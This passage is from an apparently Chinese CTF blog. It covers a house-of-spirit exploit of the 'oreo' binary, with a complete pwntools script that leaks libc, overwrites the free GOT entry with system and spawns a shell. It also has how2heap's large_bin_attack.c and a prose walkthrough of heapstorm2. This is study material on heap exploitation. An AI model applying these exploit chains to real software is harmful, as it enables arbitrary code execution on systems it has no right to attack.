<p>判断<code>refle_num</code>是否为0,不为0则获取链表头指针之后free掉链表上的每一个chunk,然后把头指针<code>head_ptr</code>置零,chunk中的<code>forward_refle_ptr</code>没有置零。然后<code>++ordered_num</code></p>
<h3 id="leave-message"><a href="#leave-message" class="headerlink" title="leave_message"></a>leave_message</h3><img src="/2020/02/06/how2heap-house-of-spirit-OREO/1580800304100.png" width="65%" height="65%">
<p>输入0x80长度的notice到notice_ptr所指向的区域</p>
<h3 id="show-stats"><a href="#show-stats" class="headerlink" title="show_stats"></a>show_stats</h3><img src="/2020/02/06/how2heap-house-of-spirit-OREO/1580813997114.png" width="55%" height="55%">
<p>输出<code>refle_num</code>,<code>ordered_num</code> ,<code>notice</code></p>
<h2 id="Exploit"><a href="#Exploit" class="headerlink" title="Exploit"></a>Exploit</h2><p>程序本身没有进行 setbuf 操作,所以在执行输入输出操作的时候会申请缓冲区,初次调用 puts 时,malloc会分配缓冲区1024B 给stdout / 初次调用fgets时,malloc会分配缓冲区1024B 给stdin</p>
<p>所以一上来程序heap视图中就会有两个chunk,暂时觉得是知道怎么来的就好了 :(</p>
<p>这种链表题第一次自己写好像没有思路,先记录一下能想到东西吧</p>
<h3 id="leak:"><a href="#leak:" class="headerlink" title="leak:"></a>leak:</h3><p>leak libc的话,主要思路是通过溢出修改<code>forward_ptr</code>,使其指向对应GOT表的一些偏移,然后show added rifles时可以把函数的地址打印出来,leak chunk地址也可以通过这个方法,把<code>forward_ptr</code>改成<code>head_ptr</code>地址即可</p>
<p>leak stack好像行不通…</p>
<h3 id="Arbitrary-write:"><a href="#Arbitrary-write:" class="headerlink" title="Arbitrary write:"></a>Arbitrary write:</h3><p>程序只有三个输入点</p>
<ol>
<li>switch时调用的<code>fgets</code>和<code>sscanf</code>组合(应该没什么用,输入指针都是栈上的偏移)</li>
<li>add中的fgets,指针是对于结构体(chunk)的偏移,但是head_ptr的值在其中不可控,是malloc返回后直接输入的</li>
<li>leave_message中的<code>fgets(notice_ptr, 0x80, stdin);</code>这个是根据bss段上的一个指针来读取内容的</li>
</ol>
<p><em>ps:然后……过了好久终于才把house_of_spirit和这个题结合起来,我太stupid了</em></p>
<p>可以通过修改<code>forward_ptr</code>,指向一个bss段上有我们可控值的地方</p>
<img src="/2020/02/06/how2heap-house-of-spirit-OREO/1580814080828.png" width="45%" height="45%">
<p>举例子拿上面第一个个8B对齐的地址来说,如果我们add一个chunk然后修改<code>forward_ptr</code>指向这里,此时0x0804A29c处的值就是fake chunk的size字段,当然这里不可控所以我们要用第二个:0x0804A2A0,此时<code>refle_num</code>是可控的。</p>
<p>然后order的时候这块内存也会被free出来,只要我们保证house_of_spirit.c中提到的fake next chunk的size段是正常的就可以被正常free(对应的size段在notice上,对应在notice上的偏移为:0x0804A2A0+0x40+4-0x0x0804A2C0=36)</p>
<p>接着这块内存就可以被正常malloc出来,这个时候就有了可控的<code>notice_ptr</code>,然后再通过leave_message就可以达成Arbitrary write了!(自己花时间想出来了太开心 XD)</p>
<h3 id="实现"><a href="#实现" class="headerlink" title="实现"></a>实现</h3><h4 id="leaklibc"><a href="#leaklibc" class="headerlink" title="leaklibc"></a>leaklibc</h4><figure class="highlight python"><table><tr><td class="code"><pre><span class="line">printf_GOT=<span class="number">0x0804A234</span></span><br><span class="line">libc_base=<span class="number">0</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">leaklibc</span><span class="params">()</span>:</span></span><br><span class="line"> add(<span class="string">'a'</span>*<span class="number">27</span>+p32(printf_GOT),<span class="string">'b'</span>*<span class="number">0x23</span>)<span class="comment">#change forward_ptr by refle_name</span></span><br><span class="line"> show_added_rifles()</span><br><span class="line"> p.recvuntil(<span class="string">'Description: '</span>)</span><br><span class="line"> p.recvuntil(<span class="string">'Description: '</span>)</span><br><span class="line"> <span class="keyword">global</span> libc_base</span><br><span class="line"> libc_base=my_u32(p.recv(<span class="number">4</span>))<span class="number">-0x49670</span></span><br></pre></td></tr></table></figure>
<h4 id="free-target-chunk"><a href="#free-target-chunk" class="headerlink" title="free target chunk"></a>free target chunk</h4><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment">#Cycle to fakesize=0x3f</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">0x3f</span>):</span><br><span class="line"> add(<span class="string">'name'</span>,<span class="string">'description'</span>)</span><br><span class="line">order()</span><br><span class="line"></span><br><span class="line">leave_message(<span class="string">'\x00'</span>*<span class="number">36</span>+p32(<span class="number">0x41</span>))<span class="comment">#Set fake next chunk size</span></span><br><span class="line"></span><br><span class="line">add(<span class="string">'a'</span>*<span class="number">27</span>+p32(<span class="number">0x0804A2A8</span>),<span class="string">'b'</span>*<span class="number">0x23</span>)</span><br><span class="line">order()<span class="comment">#Free our bss memory out</span></span><br></pre></td></tr></table></figure>
<p>先add 0x3f个rifle然后order,目标chunk的size被设置成0x3f,然后构造fake next size来过free的检查,接着再add一个<code>forward_ptr</code>为目标chunk的rifle,此时目标chunk的size为0x40,然后free出目标chunk</p>
<h4 id="set-GOT"><a href="#set-GOT" class="headerlink" title="set GOT"></a>set GOT</h4><figure class="highlight python"><table><tr><td class="code"><pre><span class="line">log.info(<span class="string">"\033[1;36m"</span> + <span class="string">'free out'</span> + <span class="string">"\033[0m"</span>)</span><br><span class="line">add(<span class="string">'name'</span>,p32(free_GOT))<span class="comment">#Set notice_ptr to free_GOT</span></span><br><span class="line"></span><br><span class="line">leaklibc()<span class="comment">#Now leak libc</span></span><br><span class="line">log.info(<span class="string">"\033[1;36m"</span> + <span class="string">'libc_base:'</span>+hex(libc_base) + <span class="string">"\033[0m"</span>)</span><br><span class="line"></span><br><span class="line">leave_message(p32(system_offset+libc_base)+p32(fgets_offset+libc_base))<span class="comment">#Set free_GOT to system</span></span><br></pre></td></tr></table></figure>
<p>再次malloc的时候就可以把目标chunk malloc出来了,然后直接在<code>notice_ptr</code>处填入free函数的GOT表地址</p>
<p>接着将system函数的实际地址填到free_GOT去</p>
<p><em>ps:leaklibc的操作要放到后面,要不然前面 leak之后再调用 order会出错,以及这里 free函数和 fgets的 GOT表项挨在一起,用 fgets 只填入 system 函数地址的话 fgets 的 GOT表项会被损坏(具体见前面所写的 fgets流程),程序往后运行会出错,所以这里填了两个</em></p>
<h4 id="getshell"><a href="#getshell" class="headerlink" title="getshell"></a>getshell</h4><figure class="highlight python"><table><tr><td class="code"><pre><span class="line">add(<span class="string">'/bin/sh'</span>,<span class="string">'/bin/sh'</span>)<span class="comment">#Set /bin/sh for system(linked list head)</span></span><br><span class="line">order()<span class="comment">#free(head_ptr)=system(binsh_ptr)</span></span><br></pre></td></tr></table></figure>
<p>这个应该不用解释了</p>
<h2 id="完整exp"><a href="#完整exp" class="headerlink" title="完整exp"></a>完整exp</h2><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="keyword">from</span> __future__ <span class="keyword">import</span> print_function</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">binary = <span class="string">'./oreo'</span> <span class="comment">#binary's name here</span></span><br><span class="line">context.binary = binary <span class="comment">#context here</span></span><br><span class="line">context.log_level=<span class="string">'debug'</span></span><br><span class="line">pty = process.PTY</span><br><span class="line">p = process(binary, aslr = <span class="number">1</span>, stdin=pty, stdout=pty) <span class="comment">#process option here</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="string">Host =</span></span><br><span class="line"><span class="string">Port =</span></span><br><span class="line"><span class="string">p = remote(Host,Port)</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line">elf = ELF(binary)</span><br><span class="line">libc = elf.libc</span><br><span class="line"></span><br><span class="line">my_u64 = <span class="keyword">lambda</span> x: u64(x.ljust(<span class="number">8</span>, <span class="string">'\0'</span>))</span><br><span class="line">my_u32 = <span class="keyword">lambda</span> x: u32(x.ljust(<span class="number">4</span>, <span class="string">'\0'</span>))</span><br><span class="line">ub_offset = <span class="number">0x3c4b30</span></span><br><span class="line">codebase = <span class="number">0x555555554000</span></span><br><span class="line"><span class="comment">#log.info("\033[1;36m" + hex(bin_addr) + "\033[0m")</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># todo here</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">add</span><span class="params">(name,description)</span>:</span></span><br><span class="line"> p.recvuntil(<span class="string">'Action: '</span>)</span><br><span class="line"> p.sendline(<span class="string">'1'</span>)</span><br><span class="line"></span><br><span class="line"> p.recvuntil(<span class="string">'Rifle name: '</span>)</span><br><span class="line"> p.sendline(name)</span><br><span class="line"></span><br><span class="line"> p.recvuntil(<span class="string">'Rifle description: '</span>)</span><br><span class="line"> p.sendline(description)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">show_added_rifles</span><span class="params">()</span>:</span></span><br><span class="line"> p.recvuntil(<span class="string">'Action: '</span>)</span><br><span class="line"> p.sendline(<span class="string">'2'</span>)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">order</span><span class="params">()</span>:</span></span><br><span class="line"> p.recvuntil(<span class="string">'Action: '</span>)</span><br><span class="line"> p.sendline(<span class="string">'3'</span>)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">leave_message</span><span class="params">(notice)</span>:</span></span><br><span class="line"> p.recvuntil(<span class="string">'Action: '</span>)</span><br><span class="line"> p.sendline(<span class="string">'4'</span>)</span><br><span class="line"></span><br><span class="line"> p.recvuntil(<span class="string">'your order: '</span>)</span><br><span class="line"> p.sendline(notice)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">show_stats</span><span class="params">()</span>:</span></span><br><span class="line"> p.recvuntil(<span class="string">'Action: '</span>)</span><br><span class="line"> p.sendline(<span class="string">'5'</span>)</span><br><span class="line"></span><br><span class="line">printf_GOT=<span class="number">0x0804A234</span></span><br><span class="line">libc_base=<span class="number">0</span></span><br><span class="line">system_offset=<span class="number">0x3ada0</span></span><br><span class="line">free_GOT=<span class="number">0x0804A238</span></span><br><span class="line">fgets_offset=<span class="number">0x5e150</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">leaklibc</span><span class="params">()</span>:</span></span><br><span class="line"> add(<span class="string">'a'</span>*<span class="number">27</span>+p32(printf_GOT),<span class="string">'b'</span>*<span class="number">0x23</span>)</span><br><span class="line"> show_added_rifles()</span><br><span class="line"> p.recvuntil(<span class="string">'Description: '</span>)</span><br><span class="line"> p.recvuntil(<span class="string">'Description: '</span>)</span><br><span class="line"> <span class="keyword">global</span> libc_base</span><br><span class="line"> libc_base=my_u32(p.recv(<span class="number">4</span>))<span class="number">-0x49670</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#Cycle to fakesize=0x3f</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">0x3f</span>):</span><br><span class="line"> add(<span class="string">'name'</span>,<span class="string">'description'</span>)</span><br><span class="line">order()</span><br><span class="line"></span><br><span class="line">leave_message(<span class="string">'\x00'</span>*<span class="number">36</span>+p32(<span class="number">0x41</span>))<span class="comment">#Set fake next chunk size</span></span><br><span class="line"></span><br><span class="line">add(<span class="string">'a'</span>*<span class="number">27</span>+p32(<span class="number">0x0804A2A8</span>),<span class="string">'b'</span>*<span class="number">0x23</span>)</span><br><span class="line">order()<span class="comment">#Free our bss memory out</span></span><br><span class="line"></span><br><span class="line">log.info(<span class="string">"\033[1;36m"</span> + <span class="string">'free out'</span> + <span class="string">"\033[0m"</span>)</span><br><span class="line">add(<span class="string">'name'</span>,p32(free_GOT))<span class="comment">#Set notice_ptr to free_GOT</span></span><br><span class="line"></span><br><span class="line">leaklibc()<span class="comment">#Now leak libc</span></span><br><span class="line">log.info(<span class="string">"\033[1;36m"</span> + <span class="string">'libc_base:'</span>+hex(libc_base) + <span class="string">"\033[0m"</span>)</span><br><span class="line"></span><br><span class="line">leave_message(p32(system_offset+libc_base)+p32(fgets_offset+libc_base))<span class="comment">#Set free_GOT to system</span></span><br><span class="line">add(<span class="string">'/bin/sh'</span>,<span class="string">'/bin/sh'</span>)<span class="comment">#Set /bin/sh for system (linked list head)</span></span><br><span class="line">order()<span class="comment">#free(head_ptr)=system(binsh_ptr)</span></span><br><span class="line"><span class="comment">#getshell</span></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>
]]></content>
<tags>
<tag>how2heap</tag>
</tags>
</entry>
<entry>
<title>how2heap - large_bin_attack&heapstorm2</title>
<url>/2020/02/29/how2heap-large-bin-attack-heapstorm2/</url>
<content><![CDATA[<h1 id="how2heap-large-bin-attack-amp-heapstorm2"><a href="#how2heap-large-bin-attack-amp-heapstorm2" class="headerlink" title="how2heap - large_bin_attack&heapstorm2"></a>how2heap - large_bin_attack&heapstorm2</h1><p>ubuntu16.04 libc2.23</p>
<h1 id="large-bin-attack-c"><a href="#large-bin-attack-c" class="headerlink" title="large_bin_attack.c"></a>large_bin_attack.c</h1><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment"> This technique is taken from</span></span><br><span class="line"><span class="comment"> https://dangokyo.me/2018/04/07/a-revisit-to-large-bin-in-glibc/</span></span><br><span class="line"><span class="comment"> [...]</span></span><br><span class="line"><span class="comment"> else</span></span><br><span class="line"><span class="comment"> {</span></span><br><span class="line"><span class="comment"> victim->fd_nextsize = fwd;</span></span><br><span class="line"><span class="comment"> victim->bk_nextsize = fwd->bk_nextsize;</span></span><br><span class="line"><span class="comment"> fwd->bk_nextsize = victim;</span></span><br><span class="line"><span class="comment"> victim->bk_nextsize->fd_nextsize = victim;</span></span><br><span class="line"><span class="comment"> }</span></span><br><span class="line"><span class="comment"> bck = fwd->bk;</span></span><br><span class="line"><span class="comment"> [...]</span></span><br><span class="line"><span class="comment"> mark_bin (av, victim_index);</span></span><br><span class="line"><span class="comment"> victim->bk = bck;</span></span><br><span class="line"><span class="comment"> victim->fd = fwd;</span></span><br><span class="line"><span class="comment"> fwd->bk = victim;</span></span><br><span class="line"><span class="comment"> bck->fd = victim;</span></span><br><span class="line"><span class="comment"> For more details on how large-bins are handled and sorted by ptmalloc,</span></span><br><span class="line"><span class="comment"> please check the Background section in the aforementioned link.</span></span><br><span class="line"><span class="comment"> [...]</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string"><stdlib.h></span></span></span><br><span class="line"> </span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"This technique only works with disabled tcache-option for glibc, see glibc_build.sh for build instructions.\n"</span>);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"This file demonstrates large bin attack by writing a large unsigned long value into stack\n"</span>);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"In practice, large bin attack is generally prepared for further attacks, such as rewriting the "</span></span><br><span class="line"> <span class="string">"global variable global_max_fast in libc for further fastbin attack\n\n"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">unsigned</span> <span class="keyword">long</span> stack_var1 = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">unsigned</span> <span class="keyword">long</span> stack_var2 = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Let's first look at the targets we want to rewrite on stack:\n"</span>);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"stack_var1 (%p): %ld\n"</span>, &stack_var1, stack_var1);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"stack_var2 (%p): %ld\n\n"</span>, &stack_var2, stack_var2);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">unsigned</span> <span class="keyword">long</span> *p1 = <span class="built_in">malloc</span>(<span class="number">0x320</span>);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Now, we allocate the first large chunk on the heap at: %p\n"</span>, p1 - <span class="number">2</span>);</span><br><span class="line"></span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"And allocate another fastbin chunk in order to avoid consolidating the next large chunk with"</span></span><br><span class="line"> <span class="string">" the first large chunk during the free()\n\n"</span>);</span><br><span class="line"> <span class="built_in">malloc</span>(<span class="number">0x20</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">unsigned</span> <span class="keyword">long</span> *p2 = <span class="built_in">malloc</span>(<span class="number">0x400</span>);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Then, we allocate the second large chunk on the heap at: %p\n"</span>, p2 - <span class="number">2</span>);</span><br><span class="line"></span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"And allocate another fastbin chunk in order to avoid consolidating the next large chunk with"</span></span><br><span class="line"> <span class="string">" the second large chunk during the free()\n\n"</span>);</span><br><span class="line"> <span class="built_in">malloc</span>(<span class="number">0x20</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">unsigned</span> <span class="keyword">long</span> *p3 = <span class="built_in">malloc</span>(<span class="number">0x400</span>);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Finally, we allocate the third large chunk on the heap at: %p\n"</span>, p3 - <span class="number">2</span>);</span><br><span class="line"> </span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"And allocate another fastbin chunk in order to avoid consolidating the top chunk with"</span></span><br><span class="line"> <span class="string">" the third large chunk during the free()\n\n"</span>);</span><br><span class="line"> <span class="built_in">malloc</span>(<span class="number">0x20</span>);</span><br><span class="line"> </span><br><span class="line"> <span class="built_in">free</span>(p1);</span><br><span class="line"> <span class="built_in">free</span>(p2);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"We free the first and second large chunks now and they will be inserted in the unsorted bin:"</span></span><br><span class="line"> <span class="string">" [ %p <--> %p ]\n\n"</span>, (<span class="keyword">void</span> *)(p2 - <span class="number">2</span>), (<span class="keyword">void</span> *)(p2[<span class="number">0</span>]));</span><br><span class="line"></span><br><span class="line"> <span class="built_in">malloc</span>(<span class="number">0x90</span>);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Now, we allocate a chunk with a size smaller than the freed first large chunk. This will move the"</span></span><br><span class="line"> <span class="string">" freed second large chunk into the large bin freelist, use parts of the freed first large chunk for allocation"</span></span><br><span class="line"> <span class="string">", and reinsert the remaining of the freed first large chunk into the unsorted bin:"</span></span><br><span class="line"> <span class="string">" [ %p ]\n\n"</span>, (<span class="keyword">void</span> *)((<span class="keyword">char</span> *)p1 + <span class="number">0x90</span>));</span><br><span class="line"></span><br><span class="line"> <span class="built_in">free</span>(p3);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Now, we free the third large chunk and it will be inserted in the unsorted bin:"</span></span><br><span class="line"> <span class="string">" [ %p <--> %p ]\n\n"</span>, (<span class="keyword">void</span> *)(p3 - <span class="number">2</span>), (<span class="keyword">void</span> *)(p3[<span class="number">0</span>]));</span><br><span class="line"> </span><br><span class="line"> <span class="comment">//------------VULNERABILITY-----------</span></span><br><span class="line"></span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Now emulating a vulnerability that can overwrite the freed second large chunk's \"size\""</span></span><br><span class="line"> <span class="string">" as well as its \"bk\" and \"bk_nextsize\" pointers\n"</span>);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Basically, we decrease the size of the freed second large chunk to force malloc to insert the freed third large chunk"</span></span><br><span class="line"> <span class="string">" at the head of the large bin freelist. To overwrite the stack variables, we set \"bk\" to 16 bytes before stack_var1 and"</span></span><br><span class="line"> <span class="string">" \"bk_nextsize\" to 32 bytes before stack_var2\n\n"</span>);</span><br><span class="line"></span><br><span class="line"> p2[<span class="number">-1</span>] = <span class="number">0x3f1</span>;</span><br><span class="line"> p2[<span class="number">0</span>] = <span class="number">0</span>;</span><br><span class="line"> p2[<span class="number">2</span>] = <span class="number">0</span>;</span><br><span class="line"> p2[<span class="number">1</span>] = (<span class="keyword">unsigned</span> <span class="keyword">long</span>)(&stack_var1 - <span class="number">2</span>);</span><br><span class="line"> p2[<span class="number">3</span>] = (<span class="keyword">unsigned</span> <span class="keyword">long</span>)(&stack_var2 - <span class="number">4</span>);</span><br><span class="line"></span><br><span class="line"> <span class="comment">//------------------------------------</span></span><br><span class="line"></span><br><span class="line"> <span class="built_in">malloc</span>(<span class="number">0x90</span>);</span><br><span class="line"> </span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Let's malloc again, so the freed third large chunk being inserted into the large bin freelist."</span></span><br><span class="line"> <span class="string">" During this time, targets should have already been rewritten:\n"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"stack_var1 (%p): %p\n"</span>, &stack_var1, (<span class="keyword">void</span> *)stack_var1);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"stack_var2 (%p): %p\n"</span>, &stack_var2, (<span class="keyword">void</span> *)stack_var2);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>感觉这种画个图的话就很明了,我这里画了一个<code>free(p3)</code>之后的图,unsortedbin上有两个chunk,largebin上有一个chunk</p>
<img src="/2020/02/29/how2heap-large-bin-attack-heapstorm2/1582794207618.png" width="80%" height="80%">
<p>这时largebin中的chunk fd_nextsize和bk_nextsize都指向自己,再来看看等下把chunk从unsortedbin中卸下来之后插入largebin的时候是什么样的</p>
<p>largebin在原代码中的插入(largebin对应bin链有chunk的情况)是这样的:</p>
<p><img src="/2020/02/29/how2heap-large-bin-attack-heapstorm2/1582823683795.png" alt="1582823683795"></p>
<p>当我们改了原largebin链中的chunk之后,就变成了这样</p>
<img src="/2020/02/29/how2heap-large-bin-attack-heapstorm2/1582796246258.png" width="70%" height="70%">
<p>此时再插入0x410的chunk(对应victim),就会执行最下面那个else分支中的代码,</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="keyword">else</span>{</span><br><span class="line">victim->fd_nextsize = fwd;<span class="comment">//此时的fwd指向0x3f0的chunk</span></span><br><span class="line">victim->bk_nextsize = fwd->bk_nextsize;<span class="comment">//栈指针给到victim的bk_nextsize</span></span><br><span class="line">fwd->bk_nextsize = victim;</span><br><span class="line">victim->bk_nextsize->fd_nextsize = victim;<span class="comment">//此时var2对应的偏移刚好是->bk_nextsize->fd_nextsize</span></span><br><span class="line"> <span class="comment">//所以var2会被赋值为victim</span></span><br><span class="line">}</span><br><span class="line">bck = fwd->bk;<span class="comment">//此时bck被设置成了栈指针</span></span><br></pre></td></tr></table></figure>
<p>接着看,因为后面还会执行一段代码</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line">mark_bin (av, victim_index);</span><br><span class="line">victim->bk = bck;</span><br><span class="line">victim->fd = fwd;</span><br><span class="line">fwd->bk = victim;</span><br><span class="line">bck->fd = victim;<span class="comment">//Here!栈指针指向位置的对应偏移处(var1)就也被赋值成了victim</span></span><br></pre></td></tr></table></figure>
<p>原理就是这么个原理,任意地址写了两个vicitm的地址上去</p>
<p>下面直接撸题实操吧</p>
<h1 id="heapstorm2"><a href="#heapstorm2" class="headerlink" title="heapstorm2"></a>heapstorm2</h1><p>这个题说实话写的时候overlap之后都不知道该怎么用…所以后来就直接参考了<a href="https://dangokyo.me/2018/04/07/0ctf-2018-pwn-heapstorm2-write-up/" target="_blank" rel="noopener">wp</a>(跪…真的是前路漫漫啊)</p>
<h2 id="程序分析"><a href="#程序分析" class="headerlink" title="程序分析"></a>程序分析</h2><p>首先根据程序的mmap创建一个新的segment,这样在IDA中看起来会好一些</p>
<h3 id="init"><a href="#init" class="headerlink" title="init"></a>init</h3><img src="/2020/02/29/how2heap-large-bin-attack-heapstorm2/1582822197248.png" width="70%" height="70%">
<p>程序用mallopt关掉了所有的fastbin,然后用mmap分配了一块固定地址的内存,并在random_area(0x13370800)为起始的位置存放了0x18个字节的随机数据,其中0偏移处的数据用来异或存放堆指针,+1偏移处的数据用来异或存放申请的size<br>然后+2和+3偏移处,也就是random_area[1]处的两个数据,是被设置成相等的</p>
<p>设置mask的意思也就是说我们在程序中申请的chunk指针还有对应的size都会被异或两个固定值然后放在这块内存区域</p>
<h3 id="alloc"><a href="#alloc" class="headerlink" title="alloc"></a>alloc</h3><img src="/2020/02/29/how2heap-large-bin-attack-heapstorm2/1582822626533.png" width="80%" height="80%">
<p>最多只能有16个chunk,按照顺序排放,其中<code>mask_xor</code>函数就是用来xor对应数据的了,mask1用来xor指针,mask2用来异或size,因为random_area的前四个qword都有意义所以我们看到的数组下标都是+2的(这里可以设置一下结构体再优化一下),calloc(size)之后没有赋值操作,所以只是分配</p>
<h3 id="update"><a href="#update" class="headerlink" title="update"></a>update</h3><img src="/2020/02/29/how2heap-large-bin-attack-heapstorm2/1582822840553.png" width="90%" height="90%">
<p>update函数中会往chunk里读入数据(长度不能大于size-0xc),在最后再加上0xc长度的数据<code>HEAPSTORM_II</code>,但是补0的时候发生了溢出,构成off_by_null,这也是程序的漏洞点所在</p>
<h3 id="delete"><a href="#delete" class="headerlink" title="delete"></a>delete</h3><p><img src="/2020/02/29/how2heap-large-bin-attack-heapstorm2/1582822986854.png" alt="1582822986854"></p>
<p>delete函数就是输入下标然后free,并”清空”记录的数据</p>
<h3 id="view"><a href="#view" class="headerlink" title="view"></a>view</h3><p><img src="/2020/02/29/how2heap-large-bin-attack-heapstorm2/1582823036813.png" alt="1582823036813"></p>
<p>view函数比较苛刻,需要当我们random_area[1]处的两个值异或为0x13377331的时候才能writen,所以一开始leak不了,这也是我当时卡在这个题一直出不来的主要原因</p>
<h2 id="漏洞分析-amp-exploit"><a href="#漏洞分析-amp-exploit" class="headerlink" title="漏洞分析&exploit"></a>漏洞分析&exploit</h2><p>程序只有一个off_by_null,所以就只能shrink freed chunk然后构造overlap了(提醒一下自己以后shrink时一定要记得如果chunk被放回了bin链然后再用fit匹配出来时会触发unlink,如果不设置好fake prev_size,由于前面那个size已经被改了所以unlink检查时就会崩掉,免得老在这坑住)</p>
<p>然后后面的思路就是在random_area的上方利用largebin attack写上一个fakesize构造fake chunk,并在对应bk的地方也写上下图中victim的地址,首先是为了下一步操作时有个可写地址,但其实这个bk还有大用处</p>
<p>largebin attack之后利用overlap将映射区域对应fake chunk的固定地址写在新链入unsortedbin中的chunk的bk上,为了把random_area的内存calloc出来。这个过程可能有点绕,画个图帮自己理解一下(这里unsortedbin上的chunk是largebin attack之后放上去的,为了方便我就干脆画在一起了)</p>
<img src="/2020/02/29/how2heap-large-bin-attack-heapstorm2/1582962795459.png" width="90%" height="90%">
<p>当我们利用largebin attack写上值之后,我们在fakechunk上已经有了size和bk,此时的bk是victim</p>
<p>但是由于PIE的映射是0x5?开头的地址,也就是说我们能接着calloc出来的chunk大小不能超过0x50,可用的地方还得再缩小之后减0xC。而且当mask损坏的时候如果指针都不变,将会没有办法继续进行操作(而且这块区域是被初始化过的,好像不能直接在操作中给mask赋值,不过利用那个字符串去计算一个说不定可以),我当时想尽办法想通过这个0x50的chunk实现exploit但是始终不行,所以就又去参考了师傅们的WP,发现师傅们是通过再构造一个再calloc出来的(跪),瞬间就好像又有思路了</p>
<p>我们写的bk是vicitm,所以calloc这个0x5?的chunk之后victim又被放到unsortedbin上面去了,但是如果这个victim chunk内容是我们通过overlap控制的话,就可以再接着控制其bk然后再calloc一个fake chunk,而且此时fakechunk的构造更简单了因为我们已经有了一个0x5?的chunk,可以直接写一个大一点的fakesize</p>
<p>在接着试图calloc random_area时,我们calloc出vicitm之后,还需要把fake chunk的bk再设置一下,因为unsortedbin卸下时需要可写地址,update那个0x5?的chunk就行(写的这个地址因为是libc的,所以在我这个利用中也发挥了很大的用处)</p>
<p>calloc出来这块mem之后,这里的值就全都被置零了,相当于列表清空..效果大概是这样的:</p>
<p><img src="/2020/02/29/how2heap-large-bin-attack-heapstorm2/1582946763810.png" alt="1582946763810"></p>
<p>我这里没有清完,其实还可以清的更空一些,不过也够了。我的size设置的位置偏了8 23333因为当时怕影响到后面的数据</p>
<p>可以看到我们calloc出这块mem的时候,因为是先calloc再通过异或指针存到记录上,所以calloc之后的mask全都成0了,存上去的也就是真实值(0x133703d8 0xf0)</p>
<p>然后通过这个记录填上view需要的固定异或值,并填上我们前面写的libc地址的位置,还有size,直接读出来之后有任意地址写了就完事了!</p>
<p>我选择的是写<code>__malloc_hook</code>到<code>one_gadget</code>,我看师傅们用的是<code>__free_hook</code>到system然后free一个有<code>/bin/sh</code>字符串的chunk,好像师傅们的更稳定一些,不过到后面任意地址读写之后就简单很多了也不多废话了</p>
<p>这里还记一个看师傅们博客看到的操作,就是largebin attack中如果我们能控制最开始的那个corrupt chunk就能多次利用进行largebin attack</p>
